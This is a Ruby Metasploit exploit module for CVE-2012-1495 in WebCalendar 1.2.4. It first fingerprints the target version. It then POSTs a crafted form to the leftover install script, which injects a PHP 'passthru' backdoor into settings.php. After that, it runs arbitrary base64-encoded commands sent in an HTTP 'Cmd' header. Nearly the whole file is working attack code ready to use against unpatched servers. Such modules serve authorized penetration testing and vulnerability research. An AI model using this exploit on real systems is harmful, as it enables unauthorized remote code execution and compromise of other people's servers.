104 lines
2.8 KiB
Ruby
104 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
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'Description' => %q{
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This modules exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
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less. If not removed, the settings.php script meant for installation can be
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update by an attacker, and then inject code in it. This allows arbitrary code
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execution as www-data.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'EgiX', #Initial discovery & PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['CVE', '2012-1495'],
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['OSVDB', '81329'],
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['EDB', '18775']
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],
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'Arch' => ARCH_CMD,
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'Platform' => %w{ linux unix },
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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},
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'Targets' =>
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[
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['WebCalendar 1.2.4 on Linux', {}],
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 23 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
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], self.class)
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end
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def check
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1, 1] != '/'
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "#{uri}/login.php"
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})
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if res and res.body =~ /WebCalendar v1\.2\.\d/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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uri = target_uri.path
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print_status("#{peer} - Housing php payload...")
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# Allow commands to be passed as a header.
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# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
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post_data = "app_settings=1"
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post_data << "&form_user_inc=user.php"
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post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
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post_data << "\n"*2
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'install/index.php'),
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'data' => post_data
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})
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print_status("#{peer} - Loading our payload...")
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# Execute our payload
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send_request_raw({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'includes/settings.php'),
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'headers' => {
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'Cmd' => Rex::Text.encode_base64(payload.encoded)
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}
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})
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handler
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end
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end
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